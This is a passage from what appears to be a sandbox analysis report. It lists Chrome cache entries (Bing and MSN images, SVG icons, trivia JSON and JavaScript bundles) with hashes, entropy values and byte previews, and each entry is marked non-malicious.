s6.

Chrome Cache Entry: 773

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	2356
Entropy (8bit):	7.788530055266728
Encrypted:	false
SSDEEP:	48:8/bxnuERAvS9eAtaN2w1Z7zutSXaUlOBpQdJ3dLCq6yRZ/RSFGHFPG:8zgEP0At3w1Z7z0SXXA+tGqdhIgQ
MD5:	3545ED1A882A931AE397E94703D788CE
SHA1:	E99A1DFD963E470A826454C371697414AAD49013
SHA-256:	0B71FD3B45AC99E1BB3FD3B27C690D9A227BFA2A9162EDCE621D59C73023D0B7
SHA-512:	2758702A250A46930537E102008EA502CD6C3407D406102735C857CFC915BC6E19FFB519426C9A2088725707D027CB9150CC474F1010F9CA79B5AFF7C0428B8D
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.........m9.5..h...a..t=..\|.......)...KH.....G.PpsM.z.u.e.m.......Mn......$...~...\...{......D..........J....x........ ..Ed.6z.h.[.Rj.."k}>.z.\|...Y.cX..N.&..C"!.f\...-WFW....o......g..]...>....u\.0...Wdc..W...`..p..\|.NjLS....F)1@....&3L.:S...........4..E.ZR>jLT.$?z...E..d.50.:..M.<r=..1KF1E.....u.n/`......^...N.G....A..Ty..8`:s..D...hxs.."6...8.T:T...i..

Chrome Cache Entry: 774

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1225
Entropy (8bit):	5.268483399933616
Encrypted:	false
SSDEEP:	24:YuJGpv0vtRWCsG65UGbOoOx7FQLRWCsG65UGpuA+oOYhHHURWCsG65UGRIoXXc:YRl0vAG6JbsQeG6Jg+BHTG6JRu
MD5:	F7E31D867F86464E752C85C32C5042F5
SHA1:	3760C207BFBC44427A2784A1DD379EBC92234457
SHA-256:	ADBE195CDF90F061AF812544C1063E7A2B0DFAE84B47B0A2D571210F6BFDC85B
SHA-512:	68CB822EE77E58E08E95847A579407C3EF8A60B54E194B1225EDC0EF512ED9A845BD1F0475536B9DCD154BB5B5ED6A141478BCFEEAFAF424489E4253F569B6A7
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/trivia?format=json&id=HPQuiz_20231206_CERNCenter&
Preview:	{"title":"","data":{"question":"What's the name of this eye-catching building at the CERN particle physics research center?","options":[{"text":"Exploratorium","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%220%22+UserChoices%3A%220%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"A"},{"text":"Center for Innovators and Dreamers","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%221%22+UserChoices%3A%221%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"B"},{"text":"The Globe of Science and Innovation","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey

Chrome Cache Entry: 775

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6602
Entropy (8bit):	7.94064342551898
Encrypted:	false
SSDEEP:	192:ygwBDqHxDzbqllo8AXbpYEm2PcTdHdSiyKllYBVrc:ygwBDyXbqlTybFu9yaKBu
MD5:	2EC5FDE3796806B70652B8CF1A6CD9B4
SHA1:	A994F484136E6582D4D3F5E98FC45A87C7D1FA00
SHA-256:	544A2240A7DA1E493494687EF632B25ECAF0953190F69CA85180486F6D623175
SHA-512:	51C9A44A72DF57CC270D9ECCAF7B2474B4B8ADF70B0EF4BCE0F7B984B7CEC3AEC27DC874BF2AAAF5E06CC749F50139CB0E4BF2CAB2ADB0CFAA401E69CA95A585
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...WCo.....kpn._-.W$.....3m.Z6..5.1..ts:.P.J....=Os.u3...we...D.a.L\YD.f.0.s6.N...Dm...q....8....M^ig..}+Kv.......O..>.@..I .S.+...Z.IM].Z.kQ..4.b..H......c....Gd"3F.....l.....}u.[Cwl.'.v..9...G.P.!...I..v..rX..Zm......5mr.V..I.X.8.,0..~...M...ue ug..bV...I..M............n\.n.....Sq..[9?.c)_C..]..M..aH....^I<Q<..hc.`.p.b_..g.K.)d..H..l!'.....I...../.(

Chrome Cache Entry: 776

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5263
Entropy (8bit):	7.921719759334495
Encrypted:	false
SSDEEP:	96:8zgEipGg/vmrYIbmx1tEt/uiIsx08BHJxshG8BXPpJR65L6Am82o8jima:yg9kei/uBsRBHJxspBR/zPoRX
MD5:	2313C158992B830B3670618A4D832391
SHA1:	9E43E00516ACB30C1BA255E7A1030827ADC2B26C
SHA-256:	475D87DBF6B646501017FF38A02ECD7B80F990541674549AC043B6F40F7CCFD3
SHA-512:	FEA277A3F18E9210F82A98BEF35474A7E6EFEC43EC1D163ED87CFCEAE561F956C33ABD36ACDCBDED66EC840979B184FC8BE027F430D27DD009ABCB24982D601E
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...OO.-..,..k.._/R....^..[.V...........<&....6....:u....v=[.z...h....E.[Id.._._+..^.M.f#a.nC..N(Z5`r1.].h.pe..7.>..q>UA$...5j..{....m..\G..Q'vZV;....R.....(5}...O{... ......G..N....EX...u.. wy.rO&...q..';.=c...`.Z..# ..<...2....\..5K{.b.J"h..O.".[./Q...v...^iF...".)r..&_4B.s..Fz..I....i....D.6..Bv...v....=.`.jw&.7..3.<V...4...xIeu.0.=....3..9%t2... ...3;

Chrome Cache Entry: 777

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	24844
Entropy (8bit):	7.95983378893552
Encrypted:	false
SSDEEP:	768:ezU9UfVSjr0RMalTqooR5iDVii3fl384H6map:ezWCVYrqM4f9Doi3fRamap
MD5:	B611E0629D27C7FEE5477AA42419E19B
SHA1:	98A50143A790C91087E1D065A03CF0400A4BDC63
SHA-256:	14AA3A01B5E538CE2E8858EB69D75B4C2ACA4DE43A3D388988D37C648E89BBDC
SHA-512:	7BDCA5338DE047F4A2C9AC7B8A9DAEACABAFE2F5BDFF9D8284E083846DE2E1A3A3EDF1497D7DE06F240742CCA50C7958B5B53FFB6707B2FE620B519E3FA3E363
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.d7939cd27891ec0113c3902632ba1037&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....ph_zV.P].--GN.w.c.%..\|..rEjh:d.Ff..^zU]v....A..\..^.i....;u...~.....e.T.FC.lV..F..nk..F...b;.Ab..^..]K..,...z.2.i,l..I....+..V...'r.....!.X....f.m..c.8*.....i1...p3..\|....27\.Q.?T..K.cngA......6.kT.O.i.-............."..S..F.".....Eg.).(..f......S4..'.tz..2c.k..5;Y.h.@[.hEE.NM.+.b......t?.u. .8..4.>..sz.1.X.........1.Q..w...4+.5...N.l.+..O.......

Chrome Cache Entry: 778

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Fsa_OI0AplCnVoXGca8ALOo0S0s.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

Chrome Cache Entry: 779

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/Yvu4V7hzvXm-5_FtB2akUvonmKM.js
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

Chrome Cache Entry: 780

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	dropped
Size (bytes):	49414
Entropy (8bit):	7.786337557112325
Encrypted:	false
SSDEEP:	1536:eXE/6WOXA8PSYII3AhacUdETPWFr6I/DzSdIwToogvGN:gXWwA86YT3CacUdE6Fr6I/yqwTBgvGN
MD5:	34EE08F8009454029F63D7A7B29B8734
SHA1:	4FF9B969FD247385B7B537E27AB755ABF10B619B
SHA-256:	0B5DB1273969107A2927391E904E7E70B1B15D40568CE11717A8B6899BB7B623
SHA-512:	2B728A0F02F1D41F29BCC5E4CBF29E138F199450A1AFCBC7B6B2790E2A8BCE6AB71B19DB7668A40D0F6B702DD1931B90FC60EE1ECB776DA2DDBF8053C068D68F
Malicious:	false
Reputation:	unknown
Preview:	GIF89a2.2..?.......................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c996674d-1dbc-4dcb-94bf-c133a5e098f7" xmpMM:DocumentID="xmp.did:D4316C07BD1811EC9355E848C6087788" xmpMM:InstanceID="xmp.iid:D4316C06BD1811EC9355E848C6087788" xmp:CreatorTool="Adobe Photoshop 23.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c996674d-1dbc-4dcb-94bf-c133a5e098f7" stRef:documentID="xmp.di

Chrome Cache Entry: 781

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.832568245757873
Encrypted:	false
SSDEEP:	96:8zgEZAQjfEwZBDooToPFWkhmqr+n8zgx85:yge1jf1ZBDoA8Fxj/zR5
MD5:	76A880B2D1C747BC02CC7B1C640571EF
SHA1:	09F21D08BCBC1BD2EF684FFED5FB87DB2E2548AB
SHA-256:	D4A7E3B8DAB8AAF80AF890AEEEE8097ADC059F8E9C241AADD9419F92CF911509
SHA-512:	2ADE1C15843261ADD97E5594357F2301C831C054E7074650C92A809C666F5415B46E185D8C38C87376D39F137026307D418C2FEE2E10D5E01A3A8D2DD098E72E
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(....\......N.\|.4.#.G.....q.......x8cB.z^.?...~......<...zj....A....:..?..o.........N...kP\.W..k/..k..7.....Z.f.".H.~.AW..Uu.{}.L..Fd.M..=[h..)# ../CX..]..3..BI.'..5..=.Sm....v..,..,..,.O.S.]j.qi%;..95.wG\|i...h."\.....x.1..mF..32.=+2..?....T.h...zE..pK...>.S.kU.rW*...&.8..a.m.K......o.h..uG...?.F..9.q.Y.....U...hs.kq.........:6.q...}.y.>..'..K.f..:7Z..]J

Chrome Cache Entry: 782

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	30124
Entropy (8bit):	7.963662505905781
Encrypted:	false
SSDEEP:	768:eM4Bin1ArpKclB0CZRzWn2ui9/xjVJv+TzTrh:eM4qAVKQi+RzicVxj+TN
MD5:	9ACA1DA3F7335D891B44E4AA6540D0C6
SHA1:	F503708EFEC5FAB3F97986268B1DC5A84107320B
SHA-256:	BF05A9E8318C04E898DEA10EE8ACF896B87609ED3472DF78BB18F15159CB2DD9
SHA-512:	CA2E72716998D7B8279A56F4A340628D9612D7B4389DCE6CA47711DC7402DC5D4A4057A7B5ACD3BF617BEB268B2065F700BBA0B023DC21CF3F38EAB78FCFC473
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.a00304019aedd964113a722b733f3470&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...v#......i.&.....<.~.eop...Y..<1L..#gBB.1.T..3Z..I..../.hR^..#k..i....l.v..FXc.s.....Iu<.cS...m'.V.........\|'.../=...!c.$..y....Uh..7.^..sH.U.gm{..z>.kx.%...,S.r....R:.pj."..A.jv9W...w..<7.X.......6...'.x.n..?enr..y.x?{...C.iz&...j.......m%.....Gv......"..r..#..T......be.)r....:yn"..\..[e.H.Vi..;VP.g.$...$..5...:v.=..Vo...u.>...W..5...L..R..Y.zRe...u..L.A[

Chrome Cache Entry: 783

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	7.903813188761342
Encrypted:	false
SSDEEP:	96:8zgExdO60rog98D6uIrdpnrrXpF105mVeORAXPHd:yga46Fg9g6pdxnv105mIOR6
MD5:	AC1A329E11731E1AEDCE40B69AE5943A
SHA1:	FDB06BF2A6427019F0BCAA2B0FC69FDA572452C7
SHA-256:	AE5EBB4CD136D7655E5522BF407ED29F80BB75A2592F7FB7722F118A15187C58
SHA-512:	C69510AD131CEF1D1765B3C66650A7A5D97578671286003D19DA1CFA79FFE7FC5C150B7AD72EA6ABF7C96EFA4F1D7E440FEA71F7FB08BDAAE71535477C99E2C8
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o..M:....W.bCE.....L.=........<+.1^k........'...T.u'...2p95..;..g.k.4..8u.M...11[6z.>... ...W~x...x4.a)....1J..@..8..l...sM.]..f/.L2G~.j.x...&..SW.k...N6....=....Vd.#.5.5.x.NP.rOOl.WW..F[...n\.'$..t.....'.....`.I....:............Q@b.5...o.?..k;.[.aqcs..,H.D.L.......o,Ld.BDY. ..Z..1.;.\|J.s..Z..@F..Q....s..#+..)....?h!..v.......E.^...~.#?.....Ah..\....`\..

Chrome Cache Entry: 784

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/UYtUYDcn1oZlFG-YfBPz59zejYI.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

Chrome Cache Entry: 785

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28499), with no line terminators
Category:	dropped
Size (bytes):	28499
Entropy (8bit):	5.464092044647653
Encrypted:	false
SSDEEP:	768:kpe5mB7azmB7ad5KVyDQNSkGyDQS2mZvghM/4S8Sv:kVaAazDxgDj/Zvb7nv
MD5:	435D4389CF37EBDF488B09D33328E64C
SHA1:	E4897917BB729F94808672478A32FAD44CEEB350
SHA-256:	F56C5B27AD30B13345DEDB5081AC381A0BE37A454242D2D289B90C5F44CDDDA8
SHA-512:	E0C35C5055200CD536B190966872EBEB8D7ED9ECE087E49F51B0EF6F9D7A935DC938C53C9C562E42506A10DDDE08C6B8D7B0A1EFB10BCD972FE5EF124DCCA88A
Malicious:	false
Reputation:	unknown
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redotIMG.png",w=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible}}return n.prototype.initialize=function(){var r=this,e,o,s,w,n;if(this.reportActivityModel){if(this.sendR

Chrome Cache Entry: 786

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3075
Entropy (8bit):	7.832568245757873
Encrypted:	false
SSDEEP:	96:8zgEZAQjfEwZBDooToPFWkhmqr+n8zgx85:yge1jf1ZBDoA8Fxj/zR5
MD5:	76A880B2D1C747BC02CC7B1C640571EF
SHA1:	09F21D08BCBC1BD2EF684FFED5FB87DB2E2548AB
SHA-256:	D4A7E3B8DAB8AAF80AF890AEEEE8097ADC059F8E9C241AADD9419F92CF911509
SHA-512:	2ADE1C15843261ADD97E5594357F2301C831C054E7074650C92A809C666F5415B46E185D8C38C87376D39F137026307D418C2FEE2E10D5E01A3A8D2DD098E72E
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_hL89PD2lwyOp2o_KeDG4KQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(....\......N.\|.4.#.G.....q.......x8cB.z^.?...~......<...zj....A....:..?..o.........N...kP\.W..k/..k..7.....Z.f.".H.~.AW..Uu.{}.L..Fd.M..=[h..)# ../CX..]..3..BI.'..5..=.Sm....v..,..,..,.O.S.]j.qi%;..95.wG\|i...h."\.....x.1..mF..32.=+2..?....T.h...zE..pK...>.S.kU.rW*...&.8..a.m.K......o.h..uG...?.F..9.q.Y.....U...hs.kq.........:6.q...}.y.>..'..K.f..:7Z..]J

Chrome Cache Entry: 787

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	158668
Entropy (8bit):	5.420662290061511
Encrypted:	false
SSDEEP:	1536:atBzrSYiNjp3psRvfx3lfeAYSh4W9/UN0nw+GfElKNJvSQ4LohD6V:a3iaRX9lf9D9cMw1fElKsLoY
MD5:	3E40D54D8F8CB4643458072E37081665
SHA1:	81845E3F3850D0F35CD251BB29520AFF5DCAF4CF
SHA-256:	973A6733C17C53C46C428BF36B68B4DDB6C8CC8C941E91E1FCB57645F596FE13
SHA-512:	B91E6A60FD054C3F1113F3E7A3E717B801F8D3DDAAEA1B03D630CA9D9CEBCECDFD788E412240F10D2D7DB8B798F0B6C317BD9D1C2A28943C2C876FFEB9DDC2C6
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-card.43288de41fd9a118d1c6.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-card"],{62602:function(e,t){"use strict";t.Z='<svg width="15" height="13" viewBox="0 0 15 13" class="inline-DS-card1-4 contextMenuItem_image-DS-card1-1 contextMenuItem_image-DS-card1-2"><path d="M2.5 5c-.6 0-1.1-.22-1.52-.64A2.12 2.12 0 0 1 .34 2.8c0-.6.21-1.1.63-1.51.42-.42.92-.63 1.52-.63s1.12.21 1.54.63c.43.41.64.92.64 1.51 0 .6-.2 1.12-.63 1.55-.42.42-.93.63-1.53.63Zm0-3.41c-.33 0-.62.12-.86.36-.24.23-.36.52-.36.86 0 .35.12.65.35.9.24.25.52.37.86.37.34 0 .63-.13.88-.38.24-.25.36-.54.36-.89 0-.34-.12-.63-.35-.86a1.18 1.18 0 0 0-.87-.36Zm12.13 9.94c-.83.44-1.86.66-3.1.66-1.6 0-2.87-.52-3.83-1.54A5.68 5.68 0 0 1 6.27 6.6c0-1.8.53-3.24 1.61-4.34A5.49 5.49 0 0 1 11.98.6c1.07 0 1.95.15 2.64.46v1.4a5.35 5.35 0 0 0-2.65-.67c-1.29 0-2.33.43-3.13 1.29-.8.86-1.2 2-1.2 3.44 0 1.37.37 2.45 1.12 3.27.75.8 1.73 1.2 2.94 1.2 1.13 0 2.1-.24 2.93-.74v1.27Z"/></svg>'},59234:function(e,t){"use

Chrome Cache Entry: 788

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Reputation:	unknown
